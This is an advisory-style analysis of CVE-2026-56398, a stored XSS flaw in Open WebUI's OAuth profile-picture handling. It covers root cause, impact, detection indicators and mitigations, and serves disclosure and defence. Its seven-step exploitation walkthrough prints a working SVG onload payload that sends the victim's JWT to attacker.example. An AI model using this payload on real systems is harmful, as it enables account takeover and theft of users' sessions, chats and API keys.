CVE-2026-56398: 
Open WebUI vulnerability analysis and mitigation

CVE-2026-56398 is a stored cross-site scripting (XSS) vulnerability in Open WebUI's OAuth authentication flow, where the MIME type of a user's profile picture URL is inferred from the file extension rather than the HTTP Content-Type response header. This allows an authenticated attacker to supply a malicious SVG file as their OAuth profile picture, bypassing the profile image validator and storing it as a data:image/svg+xml;base64,... URI in the database. The vulnerability affects all Open WebUI versions before 0.9.5 and was published on July 15, 2026. It carries a CVSS v3.1 score of 9.0 (Critical) per Feedly and a CVSS v4.0 score of 8.5 (High) (GitHub Advisory, Open WebUI Advisory).

The root cause is improper input validation (CWE-20) combined with stored XSS (CWE-79) in the _process_picture_url function (backend/open_webui/utils/oauth.py:1336-1345), which uses Python's mimetypes.guess_type on the URL string rather than inspecting the upstream Content-Type header. The OAuth write path (oauth.py:1536-1574) bypasses the validate_profile_image_url Pydantic validator — which restricts images to PNG/JPEG/GIF/WebP — because it writes directly to the database via SQLAlchemy without passing through any Pydantic model. The profile image serving endpoint (GET /api/v1/users/{id}/profile/image) then returns the stored data URI with the attacker-controlled image/svg+xml MIME type and Content-Disposition: inline, with no MIME allowlist and no default Content Security Policy or X-Content-Type-Options headers (security headers are env-gated and disabled by default). Browsers render the top-level SVG response as an XML document, executing embedded scripts in the same origin (Open WebUI Advisory).

Successful exploitation enables full account takeover of any authenticated user who opens the crafted profile image URL, as the malicious SVG executes JavaScript in the same origin and can read localStorage.token (the victim's JWT). Post-takeover, the attacker gains access to the victim's chat history, stored API keys, and — if the victim holds workspace.tools permission — potential remote code execution via installed tools (consistent with the CVE-2025-64496 attack class). A secondary impact exists because _process_picture_url lacks an SSRF allowlist, allowing the picture claim to point at internal URLs (e.g., cloud metadata services or internal admin panels), with response bytes readable via the profile image endpoint (Open WebUI Advisory).

1. Prerequisite check: Confirm the target Open WebUI instance runs a version before 0.9.5 with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true enabled, and that the attacker has a valid account on the configured OAuth Identity Provider.
2. Craft malicious SVG: Host a malicious SVG file at an attacker-controlled domain, e.g., https://attacker.example/p.svg, containing an XSS payload:

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />

3. Set OAuth profile picture: In the attacker's IdP account settings, set the profile picture URL to https://attacker.example/p.svg (the URL must end in .svg so mimetypes.guess_type returns image/svg+xml).
4. Trigger storage: Sign in to the target Open WebUI instance via OAuth. The _process_picture_url function fetches the SVG, base64-encodes it, and stores data:image/svg+xml;base64,... in the attacker's profile_image_url database field, bypassing the Pydantic validator.
5. Deliver the payload: Share the attacker's profile image URL with a target victim via chat DM or channel: https://target.example/api/v1/users/<attacker-user-id>/profile/image.
6. Victim triggers execution: The authenticated victim clicks the link. The server responds with Content-Type: image/svg+xml and Content-Disposition: inline. The browser renders the SVG as a top-level document and fires the onload handler.
7. Exfiltrate token and take over account: The onload script reads localStorage.getItem('token') (the victim's JWT) and sends it to the attacker's server. The attacker uses the JWT to authenticate as the victim and take over their account (Open WebUI Advisory).

• Network: Outbound HTTP requests from the Open WebUI server to external attacker-controlled domains during OAuth login (picture URL fetch); victim browsers making unexpected GET requests to external domains (e.g., https://attacker.example/x?c=...) containing URL-encoded JWT tokens.
• Logs: Open WebUI access logs showing GET /api/v1/users/<id>/profile/image requests returning Content-Type: image/svg+xml; OAuth login events where the picture claim URL points to an external .svg file rather than a standard image host.
• Database: Entries in the users table where profile_image_url contains data:image/svg+xml;base64, — legitimate profile images should only use data:image/png, data:image/jpeg, data:image/gif, or data:image/webp prefixes.
• Application Behavior: Users reporting unexpected logouts or unauthorized actions performed under their account; API keys or chat history accessed from unfamiliar IP addresses shortly after a user viewed a profile image link (Open WebUI Advisory).

Upgrade Open WebUI to version 0.9.5 or later, which is the primary remediation (Open WebUI Advisory). If immediate upgrade is not possible, operators should disable OAuth picture synchronization by setting OAUTH_UPDATE_PICTURE_ON_LOGIN=false and ENABLE_OAUTH_SIGNUP=false to prevent the vulnerable code path from being triggered. Additionally, enable security headers by configuring the relevant environment variables to set X-Content-Type-Options: nosniff and a restrictive Content Security Policy, which serve as defense-in-depth measures. The advisory also recommends enforcing a MIME allowlist (image/png, image/jpeg, image/gif, image/webp) in _process_picture_url using the upstream Content-Type response header, applying validate_profile_image_url at the database write layer, and adding an SSRF allowlist to block RFC1918/link-local/loopback targets in picture claim URLs.

The vulnerability was reported by security researcher matte1782 and disclosed via the Open WebUI GitHub security advisory program on May 10, 2026, with the CVE published on July 15, 2026. The advisory explicitly links this finding to the same class of trust-boundary errors as CVE-2025-64496 and CVE-2025-64495, suggesting a pattern of input validation weaknesses in Open WebUI's OAuth and content handling flows (Open WebUI Advisory). VulnCheck independently documented the vulnerability in their advisories database (GitHub Advisory).